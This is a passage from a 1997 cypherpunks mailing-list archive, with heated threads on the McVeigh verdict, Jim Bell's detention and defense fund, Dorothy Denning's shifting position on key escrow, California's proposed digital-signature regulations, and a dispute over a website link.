the nature of their cause and claim McVeigh as a martyr, this
probably guarantees them extinction but then again Hitler 
recovered from the beer hall putsch. Alternatively they can 
loudly claim that McVeigh was "framed" in the same way that
other neo-NAZIs on the net claim the holocaust a fake, i.e.
so that nobody really believes it. I suspect that this script
will be denied them because it would require McVeigh to go
to the execution chamber proclaiming his innocence and this
is something he has curiously failed to do so far. I'm not
a trained psychologist but my experience in this area suggests
that a claim of responsibility and publication of some 
document that serves as a political manifesto is very likely.
It an ego thing...


	Phill





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bennett_t1@popmail.firn.edu
Date: Tue, 3 Jun 1997 10:51:11 +0800
To: Igor Chudov <ichudov@algebra.com>
Subject: Re: McVeigh
In-Reply-To: <199706030020.TAA04784@manifold.algebra.com>
Message-ID: <3393770E.786D@popmail.firn.edu>
MIME-Version: 1.0
Content-Type: text/plain


Igor Chudov @ home wrote:
> 
> Anonymous wrote:
> >
> > On Mon, Jun 02, 1997 at 05:34:55PM -0500, bennett_t1@popmail.firn.edu wrote:
> > > Timothy McVeigh was found guilty on all counts today.  I am not
> > > surprised.  People will believe anything the govt. says, and besides,
> > > the governments lawyers were obviously more expensive than McVeigh's.
> > > This is a sad day for all anti-government haters.
> >
> > Yes, poor Tim Mcveigh.  If he's innocent then he is one more victim
> > of the OKC bomber.
> >
> > Tim May: "broken eggs and all that"
> 
> Is that the end of the story? I understand it that he can appeal, and will.
> 
>         - Igor.
Do you honestly think it will work? don't hold your breath.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Tue, 3 Jun 1997 11:10:41 +0800
To: cypherpunks@EINSTEIN.ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Remove this link immediately (fwd)
Message-ID: <199706030155.UAA13668@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text


Forwarded message:
>From don@tinaja.com Mon Jun  2 20:49:50 1997
Message-ID: <33937E16.2BE@tinaja.com>
Date: Mon, 02 Jun 1997 19:14:46 -0700
From: Don Lancaster <don@zekes.com>
Reply-To: don@zekes.com
Organization: Synergetics
X-Mailer: Mozilla 3.0Gold (Win95; I)
MIME-Version: 1.0
To: Jim Choate <ravage@einstein.ssz.com>
Subject: Re: Remove this link immediately
References: <199706022354.SAA13080@einstein.ssz.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Jim Choate wrote:
> 
> Hi Don,
> 
> > Your hackers resource page contains a link to my GURU'S LAIR WEB site
> > at http://www.tinaja.com
> 
> I don't have a hackers resource page, I do small office - home office
> consulting.
> 
> >
> > Please remove this link.
> > Please do so immediately.
> 
> Short answer, no. If you don't want links to it don't put it on the net.
> 
> >
> > --
> >
> >   Don Lancaster
> >
> >   Synergetics Press  3860 West First Street  Box 809  Thatcher, AZ 85552
> >   Voice phone: (520) 428-4073    email: don@tinaja.com
> >   Visit my GURU's LAIR web site at http://www.tinaja.com
> >
> >   Know your acronymns:  url = utterly rancid location
> >                         net = not entirely true
> >                         www = world wide wait
> >
> 
>                                                     Jim Choate
>                                                     CyberTects
>                                                     ravage@ssz.com


Your actions constitute criminal libel.
You will be treated accordingly.
-- 
Many thanks,

  Don Lancaster

  Synergetics Press  3860 West First Street  Box 809  Thatcher, AZ 85552
  Voice phone: (520) 428-4073    email: don@tinaja.com     
  Visit my GURU's LAIR web site at http://www.tinaja.com

  Know your acronymns:  url = utterly rancid location 
                        net = not entirely true
                        www = world wide wait





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Tue, 3 Jun 1997 11:12:46 +0800
To: don@zekes.com
Subject: Re: Remove this link immediately
In-Reply-To: <33937E16.2BE@tinaja.com>
Message-ID: <199706030203.VAA13705@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text


Hi Don,

> 
> Jim Choate wrote:
> > 
> > Hi Don,
> > 
> > > Your hackers resource page contains a link to my GURU'S LAIR WEB site
> > > at http://www.tinaja.com
> > 
> > I don't have a hackers resource page, I do small office - home office
> > consulting.
> > 
> > >
> > > Please remove this link.
> > > Please do so immediately.
> > 
> > Short answer, no. If you don't want links to it don't put it on the net.
> > 
> > >
> > > --
> > >
> > >   Don Lancaster
> > >
> > >   Synergetics Press  3860 West First Street  Box 809  Thatcher, AZ 85552
> > >   Voice phone: (520) 428-4073    email: don@tinaja.com
> > >   Visit my GURU's LAIR web site at http://www.tinaja.com
> > >
> > >   Know your acronymns:  url = utterly rancid location
> > >                         net = not entirely true
> > >                         www = world wide wait
> > >
> > 
> >                                                     Jim Choate
> >                                                     CyberTects
> >                                                     ravage@ssz.com
> 
> 
> Your actions constitute criminal libel.
> You will be treated accordingly.
> -- 
> Many thanks,
> 
>   Don Lancaster
> 
>   Synergetics Press  3860 West First Street  Box 809  Thatcher, AZ 85552
>   Voice phone: (520) 428-4073    email: don@tinaja.com     
>   Visit my GURU's LAIR web site at http://www.tinaja.com
> 
>   Know your acronymns:  url = utterly rancid location 
>                         net = not entirely true
>                         www = world wide wait
> 

No more so than your trying to decide what bookstore might carry the
magazines your articles appear in. Further more, even if your page were
commercial access only that would in no way prohibit me from linking to it,
unless you care to claim that a library or used bookstore with a computerized
listing of your articles constitutes libel (it doesn't).

Give me a break and go pick a fight you can win. And if you are serious
please enough with the vailed threats, just give me your lawyers name and
number like a good little boy.

   _______________________________________________________________________
  |                                                                       |
  |            Speak the truth, but leave immediately after.              |
  |                                                                       |
  |                                     Slovenian Proverb                 |
  |                                                                       |
  |     Jim Choate                                 ravage@ssz.com         |
  |     The Armadillo Group                        www.ssz.com            |
  |     Austin, Texas, USA                         512-451-7087           |
  |_______________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Tue, 3 Jun 1997 11:07:29 +0800
To: cypherpunks@toad.com
Subject: Jim Bell 4
Message-ID: <1.5.4.32.19970603011048.0095ad88@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


I spoke briefly this afternoon with Kelly Miller, the
clerk of the district court handling Jim's case, and
Peter Avenia, the federal defender appointed to
represent him. 

Not much news and no new documents have been 
released.

Jim is still in jail and will remain until the grand jury
indicts or not -- within 30 days, I believe.

According to Avenia, the Magistrate Arnold decided 
to hold Jim at a detention hearing a week ago Friday. 
That  the magistrate chose to do so after hearing the 
complaining agent's allegations of Jim's danger 
to the public and even though a pre-trial services
report favored Jim's release. Avenia's offer to carefully 
monitor Jim if he was released was declined.

Avenia would not disclose much beyond explaining
federal procedures, citing client confidentiality. However, 
he said that during the hearing emphasis was given to 
AP in assessing Jim's threat to the public.

Miller and Avenia were cordial. Here're telephone
numbers:

Kelly Miller: 1-253-593-6754

Peter Avenia: 1-253-593-6710






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Tue, 3 Jun 1997 11:03:45 +0800
To: cypherpunks@toad.com
Subject: Re: okc trial
Message-ID: <199706030116.VAA09653@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


Kirk Fort wrote:
> I hope Tim McVeigh frys. His friend Terry too.

  The country needs to be sent a strong message that the lives in OKC
were much more valuable than those in Waco.
  McVeigh is only guilty of 167 counts of murder. One of those killed
in the blast was a Branch Davidian. (McVeigh will receive a government
paycheck for that death.)

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Shostack <adam@homeport.org>
Date: Tue, 3 Jun 1997 11:04:50 +0800
To: lucifer@dhp.com (lucifer Anonymous Remailer)
Subject: Re: From Inter@ctive Week: Denning no longer backing key escrow?
In-Reply-To: <199706022353.TAA06529@dhp.com>
Message-ID: <199706030134.VAA19660@homeport.org>
MIME-Version: 1.0
Content-Type: text/plain


I think that this is an inappropriate attack, really.  Dorothy is not
an idiot, and I don't think her opinions are for sale.   She fell in
with a bad crowd that sold her a bill of goods.  She's getting over
it.


Sheesh.


| Will Rodger wrote:
| > Here's an interesting question:
| > What happens when your star technical witness tells others she's no longer
| > your witness at all?
| 
| > Denning now says she has doubts...
| > "Maybe export controls should be lifted," Denning said. "But I'm not saying
| > that all controls should be lifted. I've gotten into a state where I don't
| > know and I'm not sure that I ever knew."
| 
|   Translation: Denning is waiting for the check from Sun Microsystems
| to clear before she finally makes up her mind.
| 
| TruthMonger
| 


-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Kirk Fort" <kirkfort@teleplex.net>
Date: Tue, 3 Jun 1997 11:08:29 +0800
To: <cypherpunks@toad.com>
Subject: Re: okc trial
Message-ID: <199706030148.VAA26888@teleplex.net>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

he has been convicted on the 11 (I believe) federal employees.  He has yet
be tried on the other 156. I believe that the state of Oklahoma is going to
prosecute that case.  The 11 deaths should be enough though, for the
maximum penalty.
Kirk


- ----------
> From: lucifer Anonymous Remailer <lucifer@dhp.com>
> To: cypherpunks@toad.com
> Subject: Re: okc trial
> Date: Monday, June 02, 1997 9:16 PM
> 
> Kirk Fort wrote:
> > I hope Tim McVeigh frys. His friend Terry too.
> 
>   The country needs to be sent a strong message that the lives in OKC
> were much more valuable than those in Waco.
>   McVeigh is only guilty of 167 counts of murder. One of those killed
> in the blast was a Branch Davidian. (McVeigh will receive a government
> paycheck for that death.)
> 
> TruthMonger
> 

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lee Tien <tien@well.com>
Date: Tue, 3 Jun 1997 13:04:46 +0800
To: cypherpunks@cyberpass.net
Subject: CA dig sig
Message-ID: <v03007800afb8b906a151@[163.176.132.90]>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

>Date: Mon, 2 Jun 1997 01:21:59 -0400
>From: Ben Wright <Ben_Wright@compuserve.com>
>Subject: California signature regs
>To: CA-DIGSIG <CA-DIGSIG@commerce.net>
>
>+----------------------------------------------------------------------+
>This message was addressed to:  ca-digsig@lists.commerce.net
>+----------------------------------------------------------------------+
>
>See <http://www.ss.ca.gov/digsig/digsig.htm>.  The California Secretary of
>State proposes regulations under California's digital signature act.  The
>regs allow for two types of technologies -- public key crypto and signature
>dynamics (a method for securely binding measurements of a handwritten
>autograph to an electronic document).
>
>--Ben Wright
>Author, The Law of Electronic Commerce
><http://infohaus.com/access/by-seller/Benjamin_Wright>
>Ben_Wright@compuserve.com


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Tue, 3 Jun 1997 10:58:15 +0800
To: cypherpunks@toad.com
Subject: Re: From Inter@ctive Week: Denning no longer backing key escrow?
Message-ID: <1.5.4.32.19970603014803.00988558@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


Professor Denning has an evolving statement of her position 
on encryption policy, the latest dated May 26, 1997:

http://guru.cosc.georgetown.edu/~denning/crypto/position.html

Excerpts:

"I do not advocate domestic regulations mandating key 
recovery. Neither do I advocate that cryptography necessarily 
be free of all regulation, including export controls. I constantly
struggle with the issues and do not see easy answers." 

"I support the program of the Clinton Administration to 
liberalize export controls for key recovery products, to adopt 
key recovery within federal agencies, and to promote the
voluntary use of key recovery technologies. I believe that 
key recovery can be done without compromising privacy 
and security, but acknowledge that there are also costs and 
risks associated with key recovery."






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Tue, 3 Jun 1997 14:01:29 +0800
To: Vinnie Moscaritolo <vinnie@webstuff.apple.com>
Subject: Re: Comments on the Macintosh
In-Reply-To: <v030209f4afb5cb93e95a@[139.167.130.247]>
Message-ID: <v03007816afb9562a15c9@[207.94.249.152]>
MIME-Version: 1.0
Content-Type: text/plain


Vinnie wrote:
>Tim,.I am suprised to hear you whining with such a liberals voice..  I
>always thought that  demanding memory protection in an OS  is a lot like
>demanding that the government is responsible for protecting you from
>anything that might go bad.. If applications are well written, then you
>really dont need the memory partitions in a personal computer.

Hi Vinnie.  I'm with Tim on this one.  While I have strong feelings about
locking up people, I have no compunctions at all about locking up
program-instances.  If I can contain the instances, and especially keep
them limited in their file access, I can do a bunch to control viruses and
other nasties.  (BTW - Linux, like all Unixes is piss poor at limiting file
system access.)

Best Regards - Bill


-------------------------------------------------------------------------
Bill Frantz       | The Internet was designed  | Periwinkle -- Consulting
(408)356-8506     | to protect the free world  | 16345 Englewood Ave.
frantz@netcom.com | from hostile governments.  | Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Hallam-Baker <hallam@ai.mit.edu>
Date: Tue, 3 Jun 1997 11:12:17 +0800
To: cypherpunks@toad.com
Subject: Re: McVeigh
In-Reply-To: <199706030020.TAA04784@manifold.algebra.com>
Message-ID: <339381FA.2781@ai.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain


Mike Duvos wrote:
> 
> Igor writes:
> 
> > Is that the end of the story? I understand it that he can appeal, and
> > will.
> 
> One of the major flaws of the Criminal Justice System in this country is
> that one can only appeal based on procedural issues.  No one, after a
> trial has concluded, may ever challenge the trial verdict. They may only
> argue that the proper ritual was not followed, and higher courts are very
> reluctant to disagree with the actions of lower courts, preferring instead
> to state that the errors committed would likely not have affected the
> outcome.

This is yet another example of the result of taking the consitution
too literally. The English common law idea of trial by ones peers
somehow gets transmogravated into the peculiar idea that ones
peers will produce an infallible verdict. Generaly the idea of trial 
by ones peers has been read as a protection for the defendant
and that it is open to the government to grant a new trial if
they chose.

Appeals based on new evidence are not a matter of course in the
UK but they are not unusual either. One of the ironies of the
Maguire 7 and Birmingham 6 cases was that despite being widely
reported in the US as miscarriges of justice no mention was made
of the fact that in the US there would be no legal recourse
whatsoever. Even if it was proven beyond doubt that the 
evidence on which the conviction was based was fraudulent
there could be no appeal on that basis.


> It gets even worse than that.  Many states, Texas amongst them, have a
> time limit for the introduction of new evidence after a trial, even if it
> completely exonerates the defendent, and are prefectly willing to execute
> someone as long as they have been given "due process," even if it has been
> clearly demonstrated that they are not guilty.
 
The trial was federal so the federal proceedures would apply. 


> The only difference between Tim McVeigh and Richard Jewell is that the
> government stopped the hatchet job on Jewell in midstream.

One other difference, Jewell saved lives by warning people of a
bomb and McVeigh murdered 167 by planting one. A small detail
perhaps in the eyes of militia appologists anxious to find any 
possible reason to maintain their fantasy world.


Again why the sudden concern for the mechanisms of justice 
when one white guy is found guilty of murdering 167 people?


	Phill





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Tue, 3 Jun 1997 11:50:03 +0800
To: Hallam-Baker <hallam@ai.mit.edu>
Subject: Re: McVeigh
In-Reply-To: <339381FA.2781@ai.mit.edu>
Message-ID: <199706030335.WAA25599@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

In <339381FA.2781@ai.mit.edu>, on 06/02/97 
   at 10:31 PM, Hallam-Baker <hallam@ai.mit.edu> said:

>Again why the sudden concern for the mechanisms of justice 
>when one white guy is found guilty of murdering 167 people?

Because it is all an evil white conspiracy.

We are all out to get you, to enslave, humiliate, and degrade you.

This is not done out of hate but sheer boredom. Ruling the world is not
all that it's cut out to be.


- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jamie Lawrence <jal@acm.org>
Date: Tue, 3 Jun 1997 14:25:48 +0800
To: cypherpunks@cyberpass.net
Subject: [fwd] California digital-signature proposed regulations
Message-ID: <v03102803afb95ef4183b@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



--- begin forwarded text


Date: Mon, 2 Jun 1997 09:40:30 -0800
To: [...]
Subject: [fwd] California digital-signature proposed regulations

>Date: Mon, 2 Jun 1997 01:21:59 -0400
>From: Ben Wright <Ben_Wright@compuserve.com>
>Subject: California signature regs
>To: CA-DIGSIG <CA-DIGSIG@commerce.net>
>
>+----------------------------------------------------------------------+
>This message was addressed to:  ca-digsig@lists.commerce.net
>+----------------------------------------------------------------------+
>
>See <http://www.ss.ca.gov/digsig/digsig.htm>.  The California Secretary of
>State proposes regulations under California's digital signature act.  The
>regs allow for two types of technologies -- public key crypto and signature
>dynamics (a method for securely binding measurements of a handwritten
>autograph to an electronic document).
>
>--Ben Wright
>Author, The Law of Electronic Commerce
><http://infohaus.com/access/by-seller/Benjamin_Wright>
>Ben_Wright@compuserve.com
>
>
>
>-------------------------------------------------------------------------
>This message was sent by a majordomo-based automatic list manager.
>Subscriptions to and archives of this list are available to any person
>or organization.  For further information send a mail message to
>'ca-digsig-request@lists.commerce.net' with 'help' (no quotations)
>contained in the body of your message.
>

--- end forwarded text



--
"This analogy is like lifting yourself by your own bootstraps."
                                         -Douglas R. Hofstadter
_______________________________________________________________
Jamie Lawrence                                      jal@acm.org






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Tue, 3 Jun 1997 13:52:42 +0800
To: Jim Choate <cypherpunks@EINSTEIN.ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Webpage picketing?...
In-Reply-To: <199706030135.UAA13557@einstein.ssz.com>
Message-ID: <v0300781aafb95e6a0644@[207.94.249.152]>
MIME-Version: 1.0
Content-Type: text/plain


At 6:35 PM -0700 6/2/97, Jim Choate wrote:
>I have been looking at how to impliment picketing on the web. To date I have
>been unable to come up with a way to force a connection to one machine to go
>through a third machine in order to express some view about the original
>target.
>
>This idea came to me while watching some folks picket a local grocer over
>something I couldn't make out (the signs were poorly done). It occured to me
>that since one could argue that the links between sites are public avenues a
>site could 'picket' another site. The question became at this point, how?

Use the same techniques as the anonymoizing web proxies.  They re-form the
URLs in web page links, so you always go thru the proxy.


-------------------------------------------------------------------------
Bill Frantz       | The Internet was designed  | Periwinkle -- Consulting
(408)356-8506     | to protect the free world  | 16345 Englewood Ave.
frantz@netcom.com | from hostile governments.  | Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Tue, 3 Jun 1997 12:22:01 +0800
To: Hallam-Baker <hallam@ai.mit.edu>
Subject: Re: McVeigh
In-Reply-To: <3393682D.167E@ai.mit.edu>
Message-ID: <199706030405.XAA25918@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

In <3393682D.167E@ai.mit.edu>, on 06/02/97 
   at 08:41 PM, Hallam-Baker <hallam@ai.mit.edu> said:

>Anonymous wrote:
>> 
>> On Mon, Jun 02, 1997 at 05:34:55PM -0500, bennett_t1@popmail.firn.edu wrote:
>> > Timothy McVeigh was found guilty on all counts today.  I am not
>> > surprised.  People will believe anything the govt. says, and besides,
>> > the governments lawyers were obviously more expensive than McVeigh's.
>> > This is a sad day for all anti-government haters.
>> 
>> Yes, poor Tim Mcveigh.  If he's innocent then he is one more victim
>> of the OKC bomber.

>I'm surprised at the concern. After all I've not noticed militia
>supporters and appologists speaking out against the death penalty.

>If one is driving away from the scene of the biggest single terrorist
>incident on US soil one is probably well advised to both have  license
>plates on the car and not be carrying unlicensed firearms. If one is
>arrested its probably not advisable to counter interrogation by refusing
>to give more than name rank and serial number, a request to see a lawyer
>is probably a more sensible choice.

>The one problem I have with the trial is the leaking of the
>defense notes. I suspect that they are genuine and that McVeigh  really
>did confess. In the UK publication would be barred for the duration of
>the trial and heavy jail sentences imposed since the right to a fair
>trial is considered a reasonable justification for a temporary bar on the
>right to free speech. However I would not argue that the trial be halted
>as a result since one 
>possible explanation is that the defense saw that there was no  chance of
>aquital and gambled on gaining a mistrial. 

>$10 million for 5 days of defense evidence tends to suggest that  there
>was not much evidence to show. 


>Appologists for McVeigh should consider that his actions did not  advance
>the militia cause an iota, it destroyed it and along with  it much of the
>right wing fringe. It forced Rush Limbaugh off  television and many right
>wing hosts off radio. The sympathy shown for the bomber's motives made
>the country aware that it did not share the anti-government sentiment.
>Clinton's poll  recovery dates precisely from the moment of the Oaklahoma

>bomb. If you read the propaganda being generated durning the budget
>impasse its pretty ovbvious that Clinton was successful in portraying
>Newt as a legislative version of McVeigh, Newt had of course alligned
>himself with the most extreme of the  talk show hosts Liddy and Limbaugh
>when he became speaker. 

>McVeigh ripped the heart out of the militia movement, he demonstrated
>what it was really about. Ironically the Oaklahoma bombing may have had
>precisely the effect McVeigh desired but in a very different  sense. It
>was a wake up call to defend the country from fascism  but the fascist
>threat was McVeigh and the millitia movement.


>The millitia movement have only two possible scripts at this point and
>one might well be denied them. They can either admit the nature of their
>cause and claim McVeigh as a martyr, this probably guarantees them
>extinction but then again Hitler  recovered from the beer hall putsch.
>Alternatively they can  loudly claim that McVeigh was "framed" in the
>same way that other neo-NAZIs on the net claim the holocaust a fake, i.e.
>so that nobody really believes it. I suspect that this script will be
>denied them because it would require McVeigh to go to the execution
>chamber proclaiming his innocence and this is something he has curiously
>failed to do so far. I'm not
>a trained psychologist but my experience in this area suggests that a
>claim of responsibility and publication of some 
>document that serves as a political manifesto is very likely. It an ego
>thing...


That's right Phil you can sleep better now that all the evil millitia have
been distroyed. I'm sure you woun't mind when the Constitution is gone
too. Nothing to worry about after all you have Bill Clinton and his
buddies to make sure your safe. They said they would and they would never
lie.

I'm sure if you were in Germany during the 30's that you would have
thought the "Jewish Solution" was a good thing after all the government
said it was. Or perhaps you would have felt more comfortable in Russia at
the same time when Stalin was trying to outdo Hitler in mass murders.
After all it was the government doing the murders so it must be ok. They
said it was and they wouldn't lie would they?

That's ok Phil 1 little white boy will fry in the electric chair. But just
maybe your children will never have to know what it's like to live under a
Hitler or a Stalin because there are some in this country who are willing
to standup to the STATEST in DC who if given the chance will enslave us
all.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Tue, 3 Jun 1997 12:37:16 +0800
To: Adam Shostack <adam@homeport.org>
Subject: Re: From Inter@ctive Week: Denning no longer backing key escrow?
In-Reply-To: <199706030134.VAA19660@homeport.org>
Message-ID: <199706030417.XAA26059@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

In <199706030134.VAA19660@homeport.org>, on 06/02/97 
   at 08:34 PM, Adam Shostack <adam@homeport.org> said:

>I think that this is an inappropriate attack, really.  Dorothy is not an
>idiot, and I don't think her opinions are for sale.   She fell in with a
>bad crowd that sold her a bill of goods.  She's getting over it.


>Sheesh.

Sheesh is right!!

Dorothy is a boot licking government toad, period. Whatever reputation
capital she may have aquired as a cryptologist she burned up with her
continued support of the numerous darconian plans of the government.

I am really amazed that anyone pays any attention on what she has to say
as I doubt that she is capable of adding anything of importance regardless
of who is paying her to say it.


>| Will Rodger wrote:
>| > Here's an interesting question:
>| > What happens when your star technical witness tells others she's no longer
>| > your witness at all?
>| 
>| > Denning now says she has doubts...
>| > "Maybe export controls should be lifted," Denning said. "But I'm not saying
>| > that all controls should be lifted. I've gotten into a state where I don't
>| > know and I'm not sure that I ever knew."
>| 
>|   Translation: Denning is waiting for the check from Sun Microsystems
>| to clear before she finally makes up her mind.
>| 
>| TruthMonger
>| 




- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Tue, 3 Jun 1997 14:53:07 +0800
To: Hallam-Baker <cypherpunks@toad.com
Subject: Re: McVeigh
In-Reply-To: <33934A8F.6114@popmail.firn.edu>
Message-ID: <3.0.2.32.19970602232450.03a764b8@netcom13.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 08:41 PM 6/2/97 -0400, Hallam-Baker wrote:
>Appologists for McVeigh should consider that his actions did not 
>advance the militia cause an iota, it destroyed it and along with 
>it much of the right wing fringe.

"Follow the money" is usually sound advice. More general, ask "who
benefits". Clearly, the constitutional militias and civil libertarians are
the losers of the Oklahoma bombing. The sole benefactors are the statists
and numerous government agencies.

'Nuff said,

--Lucky Green <shamrock@netcom.com> PGP encrypted mail preferred.

  Put a stake through the heart of DES! Join the quest at
http://www.frii.com/~rcv/deschall.htm





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Tue, 3 Jun 1997 14:43:09 +0800
To: Declan McCullagh <gbroiles@netbox.com>
Subject: Re: Jim Bell defense fund
In-Reply-To: <3.0.2.32.19970601131447.006b15c0@postoffice.pacbell.net>
Message-ID: <3.0.2.32.19970602233152.03a7d634@netcom13.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 12:19 AM 6/3/97 -0400, Declan McCullagh wrote:
>
>
>On Sun, 1 Jun 1997, Greg Broiles wrote:
>
>> 
>> Has anyone talked to Jim to find out what he wants? I wouldn't be surprised
>
>Jim isn't easily reachable by phone at the moment.

Can he be visited? Perhaps there is a CP near him that could go and ask?


--Lucky Green <shamrock@netcom.com> PGP encrypted mail preferred.

  Put a stake through the heart of DES! Join the quest at
http://www.frii.com/~rcv/deschall.htm





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Tue, 3 Jun 1997 12:48:39 +0800
To: declan@well.com
Subject: Re: Jim Bell defense fund
In-Reply-To: <Pine.GSO.3.95.970603001829.8051B-100000@cp.pathfinder.com>
Message-ID: <199706030435.XAA04743@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Declan McCullagh wrote:
> On Sun, 1 Jun 1997, Greg Broiles wrote:
> > Is he currently represented by a court-appointed attorney? Are they working
> > out of the federal public defender's office, or are they in private
> 
> Yes. He is being represented by a Federal public defender, who indicated
> to me he would appreciate whatever help the cypherpunks could provide.

Declan, it would be great if you could find out how exactly we can help
jim bell, for instance where can we send $$.

Thank you.

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Tue, 3 Jun 1997 14:50:02 +0800
To: Marc Rotenberg <rotenberg@epic.org>
Subject: Re: May's Banal Rant
In-Reply-To: <v03102803afb8bf72b35a@[207.167.93.63]>
Message-ID: <3.0.2.32.19970602233822.03a70774@netcom13.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 05:06 PM 6/2/97 -0500, Marc Rotenberg wrote:

>Like I said, Tim May et al are behind the
>curve. You guys preach cyber anarchy but
>you're really armchair activists.

Methinks Marc has no idea what many of us do in their day jobs, much less
what we do in our spare time.

But who cares. All that matters is that we get more tools out faster. On
that note...back to work.


--Lucky Green <shamrock@netcom.com> PGP encrypted mail preferred.

  Put a stake through the heart of DES! Join the quest at
http://www.frii.com/~rcv/deschall.htm





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Tue, 3 Jun 1997 12:33:49 +0800
To: Greg Broiles <gbroiles@netbox.com>
Subject: Re: Jim Bell defense fund
In-Reply-To: <3.0.2.32.19970601131447.006b15c0@postoffice.pacbell.net>
Message-ID: <Pine.GSO.3.95.970603001829.8051B-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain




On Sun, 1 Jun 1997, Greg Broiles wrote:

> 
> Has anyone talked to Jim to find out what he wants? I wouldn't be surprised

Jim isn't easily reachable by phone at the moment.

> Is he currently represented by a court-appointed attorney? Are they working
> out of the federal public defender's office, or are they in private

Yes. He is being represented by a Federal public defender, who indicated
to me he would appreciate whatever help the cypherpunks could provide.

-Declan






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Tue, 3 Jun 1997 06:54:46 +0800
To: cypherpunks@toad.com
Subject: Re: McVeigh
In-Reply-To: <33934A8F.6114@popmail.firn.edu>
Message-ID: <199706022240.AAA16234@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain


On Mon, Jun 02, 1997 at 05:34:55PM -0500, bennett_t1@popmail.firn.edu wrote:
> Timothy McVeigh was found guilty on all counts today.  I am not
> surprised.  People will believe anything the govt. says, and besides,
> the governments lawyers were obviously more expensive than McVeigh's. 
> This is a sad day for all anti-government haters.

Yes, poor Tim Mcveigh.  If he's innocent then he is one more victim 
of the OKC bomber.

Tim May: "broken eggs and all that"







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Tue, 3 Jun 1997 16:15:37 +0800
To: Lucky Green <declan@pathfinder.com>
